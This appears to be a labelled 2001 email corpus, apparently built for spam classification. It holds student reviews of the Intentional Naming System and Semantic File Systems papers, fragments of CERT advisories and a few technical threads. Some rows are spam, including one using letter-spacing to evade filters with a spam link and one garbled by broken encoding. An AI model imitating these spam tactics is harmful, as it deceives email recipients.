B. - References 1. http://otn.oracle.com/deploy/security/pdf/webcache.pdf 2. http://www.kb.cert.org/vuls/id/649979 3. http://www.securityfocus.com/archive/1/3BCEE434.F597D815@defcom.com _________________________________________________________________ _________________________________________________________________ The CERT Coordination Center thanks Defcom Security, who discovered this vulnerability and published the information in their advisory. Additionally, we thank Oracle, who published an advisory on this issue. _________________________________________________________________ Author: Ian A. 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Revision History October 25, 2001: initial release -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQCVAwUBO9jGraCVPMXQI2HJAQFVnQP/V53ZIsohPcXiF6pcvUl5zjpRccWtJRkl StUdAbz9aiT7TcuhPcAtOkpOaWMPiDOFGR8Fu8MpVehS8VFEGzDJ0quKgf6LRRjx 8Ni5klqhORJ/+3Z/Pf0c+yHhMlDRV3SFPpnMLaPifBwXDmzgqJRTsL3dRb7fsigR aljIl/lGOHY= =yqti -----END PGP SIGNATURE----- ",0,1 Richmal Nichol ,egs@cs.cornell.edu,"Fri, 26 Oct 2001 15:54:21 -0700",Re: your VALtwUM,"Hi P A L C V V X r m e I A I a o b v A L A n z i i L I G a a e t I U R x c n ra S M A http://www.oftaribalok.com could with his tied hands, and then off they all went at a run, with a clink-clink of chains, and many a stumble, since they had no hands to steady themselves with. Not for a long while did they stop, and by that time they must have been right down in the very mountains heart. Then Gandalf lit up his wand. Of course it was Gandalf; but just then they were too busy to ask how he got there. He took out his sword again, ",1,1 深圳群力科技 ,egs@CS.Cornell.EDU,"Sat, 27 Oct 2001 07:30:20 +0800",组网杀毒快速维修电脑,无标题文档   亲爱的朋友们：     您们好！作为电脑的主人，你们是否曾经为维修电脑而苦恼过呢？夏天，左搂右抱的带着电脑直奔华强、赛格 ，先按下一路上弄得香汗淋漓和一身疲惫 不说，不过冬天还可以，只得一身累吧。但到了电脑公司见到了工程师，是否能马上开工帮忙搞掂呢？这个还得靠运气呢，此情此景你说头不头 晕？作为一个生意人，时间就是金钱，再加 上这是个高速信息化时代，没有了电脑，简直就像热锅上的蚂蚁。面对此情此景，此时此刻我们深圳群力科技只想用我们的青春换回你们宝 贵的时光，特为朋友们呈上我们的服务，恳 请多多指教，谢谢。     签约包月**快速专业上门维修电脑       闪电安装新系统  30分钟就OK  生意人的首选        (1)电脑组装及硬件销售与维护       (2)快速安装各种繁、简体操作系统(Win98(ME)、WinXP、Win2000)        (3)排除各种常见的故障、硬盘数据恢复       (4)安装各种常用办公、工具 软件(安装新系 统免费)       (5)安装销售正版杀毒软件、搜索、群发Email软件       (6)局域网、广 域网共享        (7)网络系统布线设计及应用       (8)计算机病毒防治及防火墙设置        (9)快速解决ADSL、天威、网通一个帐号多机同时上网       (10)专业组建有盘、无盘网 吧工程        * 专业组建有盘网吧工程：             1、电脑组装  2、安装操作系统  3、安装各种最新网络、本地游戏             4、最新精彩电影大片、MP3音乐   5、万象、美萍智能化收费系统            6、安装智能化还原精灵   7、网络布线、网络资源共享        * 电脑维护、电脑组装、网络工程 *         * 热烈欢迎单位或个人签约包月 *        * 热诚的服务，全心全意全为了您 *        深圳E讯科技有限公司       联系 人：欧奕丰        联系电话：13714682076 或  0755-61689062       QQ： 172381393          E-mail:szeson@21cn.com,1,1 �� ���� ,victor@tartan.richmond.edu,"Sun, 28 Oct 2001 01:23:58 -0300",�ʰ��� �뤱���40�г��� �Ͼ���� å������ ó���ص帳�ϴ�s1,"��������������������������������������    1,000���� �� 36���� = 28����                     ������������   ��������������������������������������",1,1 Joan Easterday ,Lesson Study Listserv ,"Sun, 28 Oct 2001 19:33:19 -0800",Re: Do you have a lesson study debriefing session on tape?,"We have the debriefing filmed of a 6th grade lesson - first time taught. It's a video - will need more instructions on how to get to you. I also would like to know of your findings in terms of how better to work with debriefing. --- You are currently subscribed to lessonstudy as: smc90@columbia.edu To unsubscribe send a blank email to leave-lessonstudy-340215M@listserv.tc.columbia.edu ",0,0 Li Chen ,Elizabeth Cash ,"Wed, 31 Oct 2001 15:21:03 -0500",Re: tomcat servlet engine on dsrg machine,"Did you try to use telnet to login there? There is a more secured way to do so, use ""ssh dsrg"" instead of telnet. --lily On Wed, 31 Oct 2001, Elizabeth Cash wrote: > Lily today I have been trying to think about initial design and stuff like > that, on this attempt I was going to play with the code on DSRG, > unfortunately I can not get to dsrg.wpi.edu any ideas? > > ~LIZ > ******************************* > Elizabeth Cash > lizesc@yahoo.com*lizesc@wpi.edu > http://www.wpi.edu/~lizesc > ******************************* > ----- Original Message ----- > From: ""Li Chen"" > To: > Sent: Thursday, October 04, 2001 2:40 PM > Subject: Re: tomcat servlet engine on dsrg machine > > > > > > sorry, > > > > > ""http://dsrg.wpi.edu:8080/servlet/dsrg/Ace-XQ/Ace-XQ.jsp"" > > > > this should be ""http://dsrg.wpi.edu:8080/dsrg/Ace-XQ/Ace-XQ.jsp"", without > > ""servlet"" before ""dsrg"". > > > > > > And there is a readme file about how to create-new-web-application using > > tomcat servlet engine at dsrg:/home/dsrg/HOWTO/TOMCAT > > > > take a look... > > >",0,1 """John R. Teifel"" ",egs@CS.Cornell.EDU,"Thu, 01 Nov 2001 11:02:45 -0500",615 PAPER 30,"Intentional naming system: This paper discusses the design and implementation of the Intentional Naming System (INS), which is a resource discovery and service location system for mobile networks. The goals of such a system is to be able to describe and make requests based on types of services, respond to network connectivity changes, fault-tolerant, and configurable. Applications use the INS language to describe the services they are looking for and it is up to INS to find out where these services are and if they are available. To do this INS utilizes a late binding mechanism that integrates name resolution and message routing. INS supports three types of resource resolution: early binding with IP addresses, late binding with intentional anycast and intentional multicast. They present an algorithm for efficient name lookups in this environment. INS provides a practical way for applications to keep track of services in a dynamic network environment. Motivation for implementing this type of system, though, is weak and they did not really provide a lot of inspiration for doing so, other than the fact that it is technically feasible. ",0,0 Avneesh Bhatnagar ,egs@CS.Cornell.EDU,"Thu, 01 Nov 2001 11:22:01 -0500",615 Paper 31,"Semantic File Systems This paper discusses a directory access scheme which exposes a lower of access granularity through the use of attribute-value pairs. Using specialized as well as generic transducers, the system provides the user access flexibility,and a higher degree of usability. The query mechanism works with the help of field virtual dirctories, which do not have to be explicitly created. Each field virtual directory is named by the field and has one entry for each possible value of the field. The entries in this directory are the value virtual directories, where there is an entry for each entity corresponding to each field-value pair. The main idea is to map queries onto a tree structured path name. The authors determine the performance of this system, and as expected the initial indexing process takes a significant amount of time, due to a higher number of disk accesses. HOwever subsequent queries when cached have a lower turnaround time. The attractive features of this system, are the ability for the user to specify transducers and the ease with which this can be integrated with the existing file system/applications. It would be interesting to note the overheads when the data is more complex e.g multimedia content. The authors also note that real time indexing would be a hard task. Considering the time when this paper was written, I think that the authors have introduced a novel idea. ",0,0 c.tavoularis@utoronto.ca,COM S 615 ,"Thu, 01 Nov 2001 11:22:53 -0500",615 PAPER 31,"This paper presents the semantic file system as an alternative to traditional tree structured file systems. This system provides associative access to files, and employ transducers to extract attributes and values from the files. The term ‘semantic’ refers to the programmable transducers that use information about the semantics of object files and directories for indexing. A transducer is file type specific and produces attributes in the form of field-value pairs to describe each file. Each file can have more than one attribute, and the collective attributes are know as an entity. A user interface via a browser allows users to query files based on their attributes. Also, an API permits users to dynamically add new types of transducers to the system. A transducer table is used to match a transducer to a file type. The semantic file system can integrate over systems such as NSF by providing virtual directories, such that the virtual directory names are interpreted as queries. This system has many applications, for individuals to query interesting files, and for groups of users keep themselves up to date on shared files. This system by no means responds in real time and has a long indexing set up, which is not critical, but speed could be improved. I think a good alternative would be to allow users to specify attributes of their files rather than employing the transducers. This would make the overall system more efficient, and accurate. ",0,0 """John R. Teifel"" ",egs@CS.Cornell.EDU,"Thu, 01 Nov 2001 11:32:06 -0500",615 PAPER 31,"Semantic Files: This paper describes semantic file systems--a file system that provides flexible associative access to files by extracting attributes from files with file transducers. They introduce virtual directories--which are queries to find other files and directories. Properties of file system objects are automatically extracted and indexed. They claim that a semantic file systems are more effective than traditional tree structured file systems in terms of information sharing and command level programming(?). A transducer is a filter that reads in a file and outputs the file's entities and their corresponding attributes. This is a slight limitation of the file system, because for every file type a transducer needs to be written--although there _might_ be a way to have a generic transducer for uncommon file types (I guess the default for most UNIX type things would be ok to be the text-transducer, but in general this may be an annoyance). Actually, I'm not quite sure why we read this paper. I suppose this file system may be extended to support dynamic, mobile networks...but that is not really what it was designed for I think. ",0,0 Ranveer Chandra ,Emin Gun Sirer ,"Thu, 01 Nov 2001 11:32:20 -0500",615 PAPER 31,"Semantic File Systems This paper proposes a Semantic File System that implements a file system layer on top of any existing file system. In this paper SFS is implemented over NFS, and supports virtual directories and content extraction. All accesses to files are through queries to the SFS layer to maintain meta-data consistency and synchronization. SFS supports the creation of virtual directories, each directory pointing to files that satisfy a query. SFS uses user-written transducers that are file-specific content extractors. Semantic FIle Systems aim to help users in organizing their files by content and provides means to do so conveniently. It is extremely difficult to manage and query large file systems, for eg. experienced UNIX users trying /usr/bin or /usr/local/bin or /usr/sbin or something else!!!! SFS provides an efficient mechanism to handle shared data. In addition the idea of attribute as a field-value pair is interesting and is has been used in many future systems, as late as the INS for resource discovery. Furthermore, SFS concepts have been used to develop other resource discovery protocols, such as Discover in 1995. Although SFS was poroposed in 1991, it has still not become popular. One reason could be the huge amount of space used by SFS, and the bigger reason could be that the hierarchical scheme presently used has its own benefits. A hybrid scheme using SFS and the hierarchical scheme would be an interesting area of future work. ",0,0 Edward Hua ,egs@CS.Cornell.EDU,"Wed, 31 Oct 2001 22:03:03 -0500",615 Paper 31,"Semantic File Systems David K. Gifford, Pierre Jouvelot, Mark A. Sheldon, Jkames W. O'Toole, Jr. A semantic file system is an information storage system that provides flexible associative access to the system's contents by automatically extracting attributes from files with file-type-specific transducers. In this scheme, the user-programmable transducers use information about the semantics of the file system objects to extract the properties for file indexing. One of the advantages of a semantic file system, as the authors claim, is its ease of intergrating into existing file systems. In a semantic file systems, queries can be mapped into tree-structured path names. Queries are performed by means of virtual directories to describe a desired view of file system contents. Unlike conventional directories, virtual directories do not have to be explicitly created to be accessed. This therefore has the advantage of convserving disk space in the server. A field virtual directory contains one entry for each possible value of its corresponding field, and these entries are collectively called value virtual directories, each of which has one entry for each entity described by the field-value pair. This forms the basis of rapid indexing in the semantic file system, as the field-value pair uniquely refers to a specific entry that is a symbolic link to the actual file. The authors of the paper have implemented a semantic file system and evaluated its performance. The experiment of indexing a large number of user files is done with both full update and incremental indexing. Two positive results are extracted from the experiment to support the authors' claim that the semantic file system is more effective than a traditional file system for information sharing: the savings in time in linear search through the entire file system and the ease of the integration of semantic file system with the existing programs in the development system. This paper was written in 1991, way before the revolution in Internet and networking technologies took place. However, it is not hard to discern traces of its feature that can be found in some of today's more popular programming languages that assist system administrators' daily tasks. For example, the semantic file system shares very similar traits as the Oracle database maintenance language. This paper can therefore be said as laying the foundation for the future generation of programming languages that facilitate the operation and administration of large systems and networks. ",0,0 Edward Hua ,egs@CS.Cornell.EDU,"Wed, 31 Oct 2001 22:04:13 -0500",615 Paper # 30,"The Design and Implementation of an International Naming System William Adjie-Winoto, Elliot Schwartz, Hari Balakrishnan, and Jeremy Lilley This paper presents an intentional naming system (INS) that may be used to quickly seek out resource discovery and service location in mobile networks. It features the following design objectives: expressiveness, responsiveness, robustness, and easy configuration. The INS resolution architecture makes three contributions: 1)integration of resolution and routing, which allows applications to seamlessly handle node and service mobility; it provides flexible group communication using an intentional name as the group handle, 2)self-configuration of resolvers into an overlay network and incoporation of load-balancing algorithmsl and 3)Maintaining weak consistency among replicated resolvers using soft-state message exchanges. The resolution of intentional names is faciliated by the name specifier. A name specifier can be used to identify the desired destination in a message header. Its attribute-value pair forms the foundation of the specifier, which then is expanded to establish a name tree. There are a sequence of events that take place in the INS. First, the intentional name of the destination service application is discovered; once the request reaches the destination, the intentional name resolver (INR) performs a lookup on the destination name-specifier in its name tree and returns the name-record. The INS also addresses the issues of load balancing and scaling in the system. Load balancing is resolved by allowing INRs to spawn instances on other candidate but inactive resolvers, and killing themselves if they are not loaded. The scaling arises when INRs exchange name information with other resolvers on a periodic basis and triggered updates. In this situation, the technique of virtual space is used. The idea is to partition the namespace into virtual spaces, ensuring that each resolver only needs to route for a subset of all the active virtual spaces in the system. Therefore, one INR is responsible a single virtual space, reducing the overlapping among multiple INRs. An interesting observation in the performance analysis of the INS is that when measuring the routing time as a function of the number of names in virtual spaces, the time is virtually constant when the recipient of the packets resides in a different virtual space than the sender. Furthermore, from Figure 15, it can be seen that the time it takes to route packets to a remote destination in a different virtual space is much less than the time it takes to route pakcets to a destination in the same virtual space as the sender. There are no explanations given to this phenomenon. ",0,0 Avneesh Bhatnagar ,egs@CS.Cornell.EDU,"Thu, 01 Nov 2001 11:38:02 -0500",615 Paper 30,"Design and implementation of an intentional naming system This paper describes the design of an intentional naming system (INS), which can be used as an expressive, robust, responsive and easily configurable resource discovery system in a mobile environment. The main idea is that application should be able to describe what kind of service,they are looking for and the location of these services. The system is implemented through an overlay network which incoroprates soft state messages i.e state that is refreshed upon receiving newer data, or discarded after a certain lifetime of inactivity. The intentional name is resolved using a name specifier, which consists of an attribute value pair, a set of which establish a name tree. The application might use intentional anycast or intentional multicast to request information. There are two ways to foward information to a specific device: a. Early binding. Returns list of IP addresses corresponding to the desired name. b. LAte binding (uses the two mechanisms mentioned above). This handles more dynamic situations and also facilitates load balancing, since the INRs can spawn instances on inactive resolvers. The method used is virtual spaces, the resolver needing only a subset of the total namespace. Virtual spaces can overlap. Routig within the overlay is done using a the DBF algorithm.I felt that the simulation studies were a bit lacking in terms of the explanation for some of the observed events. e.g in fig 15, routing time to differnt virtual spaces is lesser than other routing times. Secondly what is the effect of user density, i.e how does this system scale? However I also think that this idea is very interesting and there are a number of applications that could potentially benefit from the service-provider binding that this system provides. ",0,0 Prince Samar ,egs@CS.Cornell.EDU,"Thu, 01 Nov 2001 11:44:21 -0500",615 PAPER 30," 30) The Design and Implementation of an Intentional Naming System This paper presents the design, implementation and evaluation of the Intentional Naming System (INS), a resource discovery and service location system for a mobile network. INS is a useful naming system when a source only knows what it is looking for and the location of the data is unknown. INS uses a simple language based on attributes and values (caller av-pairs) for naming. The design goals for INS have been: * Expressiveness: applications should be able to express arbitrary service descriptions and queries. * Responsiveness: the naming system should be able to quickly adapt to node mobility or service mobility. * Robustness: Failures of a few name resolvers and services should not have any significant effect on the network. * Easy configuration: The name resolvers should be able to automatically configure themselves. The INS service model supports - early binding to obtain a list of IP addresses for for a name and - late binding which include intentional anycast and intentional multicast. For intentional anycast, an INR (Intentional Name Resolver) forwards a packet to the ""best"" node satisfying the query based on the specified application controlled metric. Intentional multicast forwards the packet to all the names satisfying the query. INS integrates resolution and routing, facilitating applications to handle node and service mobility and provide efficient group communication. Services periodically advertise their intentional names to the system to describe what they provides. The INRs self configure, forming an application-level overlay network among themselves over which they send updates of valid names in the system. The INRs also incorporate load balancing algorithm to perform well. INS maintains weak consistency amongst replicated resolvers using soft-state message exchanges. The authors also described the design and analysis of an efficient algorithm that performs name look-ups and show that an implementation can perform between several hundred to a few thousand name-lookups per second. Using intentional names with intentional unicast/mulitcast is a neat way to discover resources in a dynamic, mobile network. However, the INS is not scalable to a wide area deployment. Also, the name resolvers have to proactively update and maintain information, which may affect the overall performance of the network. ",0,0 Daehyun Kim ,egs@CS.Cornell.EDU,"Thu, 01 Nov 2001 11:45:54 -0500",615 PAPER 30,"This paper presented a the Intentional Naming System (INS) which supports a resource discovery and service location systems for mobile network. The design goals INS are expressiveness, responsiveness, robustness and easy configuration. The main idea of INS is to separate service names and locations. Applications describe services what they are looking for, not locations where to find them. Then name resolvers find the appropriate locations by maintaining a mapping between service descriptions and their locations. This is a good approach for the mobile networks where applications do not know the exact locations of the services. INS uses an intentional name languages based on a hierarchy of attributes and values, called name specifiers. Name specifiers are composed of attribute and values. They form an av pair and have a hierarchical tree-like structure. Intentional Name Resolvers (INR) form an overlay network among themselves, over which they send intentional naming information. Services periodically advertise their intentional names and INRs maintain those information. When client make name resolution requests INRs resolve the requests. INS supports three types of resolution: early binding, intentional anycast and intentional multicast. In my opinion, the main contribute of this paper is that it provides a naming systems which can support mobile ad hoc systems efficiently. As they said in the paper, the separation of service names and locations can deal with dynamic environment flexibly. ",0,0 Daehyun Kim ,egs@CS.Cornell.EDU,"Thu, 01 Nov 2001 11:46:48 -0500",615 PAPER 31,"This paper presented an information storage system called Semantic File System (SFS). The main idea of SFS is user programmable transducer. The transducer is a filter whose input is file contents and whose output is a set of file attribute which is a field-value pair. Files stored in SFS are interpreted by the transducer to produce attributes. Later, the attributes are used for rerival of the file. File access is base on queries which describe desired attributes. Queries are boolean combinations of attributes. As a result of query, a set of files or directories is give. Compatibility with existing file system is an important issue. SFS provides it by introducing the concept of a virtual directory. Virtual directory names are interpreted as queries and provide access to files and directories in compatible with SFS. They implemented a SFS which support NFS protocol as external interface. In my opinion, The main contribution of this paper is to introduce another layer of files systems which is supported by the transducer. The transducer acts as a filter between users and files and provides more flexible and versatile file accesses. And it is also extendible by adding new transducers. But, the latency of file access might be a problem. It is clear that SFS requires more computations than the conventional file systems. So I'm not sure that SFS is suitable for high load file server systems. ",0,0 Ranveer Chandra ,Emin Gun Sirer ,"Thu, 01 Nov 2001 11:52:00 -0500",615 PAPER 30,"The design and implementation of an intentional naming system This paper presents an interestng concept: decoupling the IP address from the resource name. Clients of a resource need not keep track of changes in IP address or network route to the resource server. A request for a resource is specified as a name or descriptive attribute. The request is routed to the resolver which further routes packets to the resource matching the request attribute. The address of the resource is either sent back to the client in the case of early binding or the request is further sent to one or many resources depending on the late binding mechanism specified: anycast or multicast. The resolvers maintain an overlay network that keep a consistent view of the available resources. The idea of decoupling server IP addresses from the resource name is a very interesting concept. This scheme would be specially beneficial in mobile applications where the servers offering the same resource might change over time based on the location. The intentional naming scheme borrows the idea of the SFS and is an effective model for resource requests. However, the main drawback of INS is the proactive maintenance of the overlay network. If used in an ad hoc setting, this scheme would be increasingly expensive, at least as expensive as maintaining a multicast tree. Maintaining such overlay networks for different virtual spaces would definitely affect the scalability of INS. In my opinion, an interesting modification to INS could be a reactive approach, with caching, to search for resources, such that frequently used resources are stored in cache and the updates for lesser used ones do not congest the network. ",0,0 Panagiotis Papadimitratos ,Emin Gun Sirer ,"Thu, 01 Nov 2001 11:54:56 -0500",615 PAPER 30," Review of: ""The design and implementation of an intentional naming system,"" by W.A.Winoto, E.Schwartz, H.Balakrishnan, and J. Lilley Panagiotis Papadimitratos papadp@ece.cornell.edu The proposed architecture falls in the group of works that intend to decouple names from object locations, and a system for resource discovery and service location is presented. The Intentional Naming System (INS) functionality is implemented by the Intentional Name Resolvers (INR's) that request and discover services and provide the corresponding data to the querying application/client. The INR's form an overlaid network, i.e., a virtual topology above the actual network-layer topology, exchange and forward service advertisements and locally cache such descriptions. The entire system relies on attribute-value pairs organized into 'Name-Tree' structures, which INR's look up into. When a 'name specifier' arrives at an INR the look-up returns the the IP address of the advertiser(s) of the sought resource/service. The lookup algorithm is one of the technical challenges of this work, and is experimentally evaluated. The operation of the system assumes the presence of an entity (DSR) that maintains the list of all INR's present in the network. A new INR contacts DSR (Domain space resolver) in order to acquire this information and then establishes links with the rest of the INR's in order to form the necessary connectivity. The apparent need for proactiveness clearly impedes the scalability of the scheme, especially in a dynamically changing environment, and the authors propose the partitioning of the name space into domains, i.e., virtual spaces. In any case, the INR's have to make routing decisions at the level of the overlaid network, this done at the publication of the paper with a local construction of a spanning tree. The use of DBF is mentioned also as an alternative. The amount of the overhead maybe significant, while the goal of optimality is not clearly supported, especially because of the apparent independence of routing decisions at the INS and network layer. There is also the 'paradoxical' result that the lookup delay is higher if two INR's reside at the same node. ",0,0 c.tavoularis@utoronto.ca,COM S 615 ,"Thu, 01 Nov 2001 11:58:26 -0500",615 PAPER 30,"The Intentional Naming Service (INS) for resource discovery uses a simple language to associate descriptive attributes and values to services in the network. Intentional name resolvers (INRs) match clients desiring a service to the appropriate service based on the attributes and perform the routing to the destination service. INRs form a spanning tree and update each other periodically to support large networks of resources. Intentional names describe services using name-specifiers consisting of attributes and values forming an av-pairs. INRs maintain mappings between intentional names and network locations in the form of IP addresses. An INR supports node mobility and allows IP addresses to change, and will also react to load changes which might cause it to choose a different service location. Clients use intentional names to request services, and are oblivious to who is providing the service and changes in mapping due to mobility. Clients can request late-binding so that the binding to a location is made at message delivery time. From this, a client can request an intentional-anycast, so that the location of service is chosen by the optimality of an application- controlled metric. Intentional-multicast delivers to all locations. INRs send periodic and triggered messages to each other to keep information fresh and are capable of performing load balancing. Some applications of INS include Floorplan which provides users with an up-to-date map of their current location. Camera allows a user to ask for images from specific cameras, or can use intentional multicast to query all the cameras in an area. INS works well to respond quickly and distribute workload amongst the INRs. INS appears to successfully achieve its goals of expressiveness, responsiveness, robustness and ease of configuration for its naming system. Since it works over IP unicast, it could easily be integrated into existing networks. I think the main contribution of multicast is that it combines routing and naming and employs application-level information to effectively provide resource discovery in large networks. It employs DBF shortest path routing, which could be replaced with other routing techniques, and therefore could possibly accommodate ad hoc routing. ",0,0 Panagiotis Papadimitratos ,Emin Gun Sirer ,"Thu, 01 Nov 2001 12:36:55 -0500",615 PAPER 31," Review of:""Semantic File Systems,"" by D.K. Gifford, P. Jouvelot, M.A. Sheldon, J.W.O'Toole Panagiotis Papadimtratos papadp@ece.cornell.edu The Semantic File System (SFS) provides an abstraction of existing file systems by introducing an associative access based on files' attributes. The attributes are content-based values and the interface provided by SFS resembles the one of classical file systems; an SFS access results in a 'virtual directory', i.e., a set of symbolic links to the associated files. Moreover, SFS provides a programming interface that allows for a finer-grain definition of attribute extraction. This is possible through user-defined 'transducers', i.e., tools that 'understand' the semantics of different types of files and generate indexing structures to the corresponding files. In effect, transducers define the framework of querying mechanisms and the resultant list of files, according to the sought attribute(s), constitute a virtual directory, whose name is in essence the name of a query. The apparent benefits of such an approach can be summarized in the flexibility to define full-custom user-defined associative access that can support effectively collabortive environments, and backward compatibility. The latter one is due to the adherence to the file-system interface (see above - symbolic links), that provides transparent access to the SFS structure. On the other hand, there is a trade-off between latencies to retrieve the SFS data and the increasing size of the indices (and programmable units) that are needed to support such a system. This appears to hinder an SFS approach from co-existing with a 'legacy' system; the issue of SFS and non-SFS systems interaction is a different one. ",0,0 Prince Samar ,egs@CS.Cornell.EDU,"Thu, 01 Nov 2001 12:46:24 -0500",615 PAPER 31," 31) Semantic File Systems This paper presents the Semantic File System which the authors believe is more efficient than the traditional tree-structured file systems. The authors use the attribute-value pair naming scheme which provides the user flexible and easy searching of desired files. Files stored in a Semantic File System are interpreted by file type specific transducers to produce a set of attributes that facilitate later retrieval of the file. Transducers are maintained for each file, which can be specified by the users. Transducers identify the attribute-value pairs for a file which can later be used for file searching. The name, consisting of the attribute value pair, that a user specifies at the time of searching is translated into a tree. The file is accessed using the standard file system interface. Virtual links can be used to associate a file in multiple virtual directories. The Semantic File System aims to help a user organize his files more efficiently, based on the content of the files using the attribute-value pairs. This idea has been used in many systems, including the Intentional Naming System. However, as the authors point out, the implementation of real time indexing may require substantial amount of computing power at the semantic file server. This may hinder the latency of such a system. ",0,0 André Allavena ,egs@CS.Cornell.EDU,"Thu, 01 Nov 2001 12:58:05 +0100",615 PAPER 30," The design and implementation of an intentional naming system This paper describes a scheme or localisating services in a adhoc network. There are a set of generic attributes (a tree in fact), and a service advertise itself by filling some of the attributes (printer, Ithaca, etc.) There are INS servers which store the available list of services, and make it available to clients upon queies, and t the other INS. I really don't like their scheme becase it is really inefficient in terms of bandwidth. There is a distributed Bellman Ford running between the different INS servers, and all the updates are sent to everybody (this is analog to proactive routing, and tunrs out to be ineficient wihth mobile nodes). Further more, does anybody care if there is another printer on the other side of the network when there already are several nearby? There are talking of an application advertised metric for choosing the best instance of the service the application need. Who chooses this metric? t doesn't seem to be any application, the way they have implemented it, it is the service provider and or the INS servers which choose it. 2.2 I read a ""rapid change due to node mobility quickly propagate trough the system and new info replaces old information"". I am not convinced. What about a on demand service discovery? -- André Allavena (local) 154 A Valentine Place École Centrale Paris (France) Ithaca NY 14850 USA Cornell University (NY) (permanent) 879 Route de Beausoleil PhD in Computer Science 06320 La Turbie FRANCE ",0,0 André Allavena ,egs@CS.Cornell.EDU,"Thu, 01 Nov 2001 12:59:06 +0100",615 PAPER 31," Semantic File System This paper introduces the idea of characterising each file in the file system with a small set of attributes (author, extension, keywords...) The usual tree directory structure would be a specific case of the previous, with the name of the directory being an attribute. In other word consider the file system to be a database on which all the files are automaticaly inserted with their attributes. These attributes allow much easier search and retrival. Note: filters need to be writen for each knid of file, if not the system won't be able to add to automaticaly index it. Their implementation is transparent to the file system: each attribute is shown as a virtual directory under the FS. So ls, completion and so on work. This is a really nice idea. I didn't see any development for Unix though (their implementation was BSD). Maybe people don't really need the power of this tool to look for files? -- André Allavena (local) 154 A Valentine Place École Centrale Paris (France) Ithaca NY 14850 USA Cornell University (NY) (permanent) 879 Route de Beausoleil PhD in Computer Science 06320 La Turbie FRANCE ",0,0 Indranil Gupta ,egs@CS.Cornell.EDU,"Thu, 01 Nov 2001 13:00:23 -0500",615 PAPER 30,"The design and implementation of an intentional naming system, Adjie-Winoto, Schwartz, Balakrishnan, Lilley. Reviewer: Indranil Gupta This paper presents an architecture for object naming and location on a dynamic network (a mildly static network is considered for experiments). Objects are named using a series of attribute-value pairs, nested where there are dependencies. The entire attribute-value search space is effectively a (very large) tree with (potentially unbounded) degree. Updates to the tree (new attributes or values, new objects, etc.) are propagated periodically from their source, and entries at other nodes (the INResolvers) time out. Any client wishing to access an object contacts an INR on the INR overlay network, which either replies back directly or passes on the query. Intentional resource discovery and multicast are both supported. Comments: The main contribution of the paper is a proof-of-concept implementation. Interesting research issues such as a search over a search tree replicated only partially at every INR are not looked into. This model would yield great benefits when nodes are short-live or have small memories, and the size of the entire global search tree is too large to maintain at any single node. ",0,0 Indranil Gupta ,egs@CS.Cornell.EDU,"Thu, 01 Nov 2001 13:00:39 -0500",615 PAPER 31,"Semantic File systems, Gifford, Jouvelot, Sheldon and O'Toole Jr. Reviewer: Indranil Gupta This paper describes an overlay file system where users can view virtual directories by specifying semantic search criteria. These criteria are specified using transducers, which support attribute-value pairs only. Indices are maintained per file by using a periodic (2 minute) indexing process that creates indices. As a result, the semantic file system might be out-of-date with recent updates. Comments: Only individual file field-value attributes are considered. More general semantics for file systems (such as attributes for linked object files) are not considered. The user has to program a transducer all by herself (from scratch) - no templates or abstraction is provided for this. Updates are reflected lazily on to the semantic file system. This is effectively a (fixed) tradeoff between the cost of actual actions on the file system and the level consistency. This issue needs to be explored more in the scenario of a set of objects over an ad-hoc network. In other words, the tradeoff should be static depending on access patterns, mobility etc. ",0,0 Venu Ramasubramanian ,Emin Gun Sirer ,"Wed, 31 Oct 2001 23:35:15 -0500",cs615 PAPER 30,"The Design and Implementation of an Intentional Naming System This paper describes a service discovery system designed for a dynamically changing network such as mobile network. This system acheives its objectives by employing an attribute-value based naming scheme called intentional names to specify services. The system employs name resolvers distributed on an overlay network on top the existing network. Significant gain is achieved by avoiding static binding between the specified name and services found. The intentional naming scheme is an attribute-value based naming scheme much like a query in a database. AV based naming does make specifying services much easier for the end users. In this system, the name is described in terms of a tree structure that makes name resolution quick and easy. However this does reduce the expressibility of the names. This naming scheme does not seem to allow queries with not, or to be specified as a name for a resource. The name is resolved by name resolvers distributed on an overlay network. The services are expected to periodically broadcast their characteristics (AV pairs) that are stored by the name resolvers and used to compare with queries. The name resolvers form something similar to routers in an ad hoc network. The routing between the INRs take place by means of a proactive distance vector algorithm. The cost of the proactive algorithm is kept down by controlling the number of INRs in the overlay network. New INRs are created when the current number is not sufficient to resolve queries. The INRs are divided into virtual sets to keep the cost of proactivity and query resolution down. I believe that sperating the binding between name and service providers is very interresting. This helps them acheive the dynamic adaptability and change bindings from one server to another as the dynamics of the system changes. However, i believe using a overlay like network to resolve names may affect overall performance if the number of virtual spaces increase or if the number of INRs increase. ",0,0 Venu Ramasubramanian ,Emin Gun Sirer ,"Wed, 31 Oct 2001 23:53:01 -0500",cs615 PAPER 31,"Semantic File Systems This paper describes an attribute-value pairs based naming scheme that is translated into a standard directory based file system interface. The AV based naming provides users ease of searching and finding desired files much like a database. Using user specified transducers to generate the AV pairs associated with a file increases the usability of this system. Each file has a transducer that can be specified by the user, whose role is to identify attribute value pairs associated with this file that can be used at search time to locate it. Users can search for files by specifyinga name consisting of AV pairs. The name is translated into a tree (directoy structure) and access to the file is provided using the standard FS interface. Virtual links are used to associate a file in multiple virtual directory. Query processing is of course the main component of this system. several indexes are created for the attributes and values geberated by the transducers. The indexes are updated periodically. The query processing component uses this index to locate the reqd file and materialize a directory structure containing this file. The incremental indexing operation is however shown to be expensive. Thus practically, reindexing would have to be done infrequently and during times of low process load. I think that the reindexing scheme could be improved further. It may not be possible to translate all kinds of queries into directory based names. Insisting on a file system interface forces the system to loose flexibility in query specification. Searching through contents of a text file such as done on the internet may require specifying the entire file as values to certain attributes. The size of AV pairs so created might be huge (duplication of the file) and so would be the index required to access it. The query resolution process specified by this system may be inefficient for such searches. Yet, the user defined transducers and directory based naming makes the system very attractive to use. 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Systems Affected * BSDi BSD/OS Version 4.1 and earlier * Debian GNU/Linux 2.1 and 2.1r4 * FreeBSD All released versions FreeBSD 4.x, 3.x, FreeBSD 4.3-STABLE, 3.5.1-STABLE prior to the correction date * Hewlett-Packard HP9000 Series 700/800 running HP-UX releases 10.01, 10.10, 10.20, 11.00, and 11.11 * IBM AIX Versions 4.3 and AIX 5.1 * Mandrake Linux Versions 6.0, 6.1, 7.0, 7.1 * NetBSD 1.5.2 and earlier * OpenBSD Version 2.9 and earlier * Red Hat Linux 6.0 all architectures * SCO OpenServer Version 5.0.6a and earlier * SGI IRIX 6.5-6.5.13 * Sun Solaris 8 and earlier * SuSE Linux Versions 6.1, 6.2, 6.3, 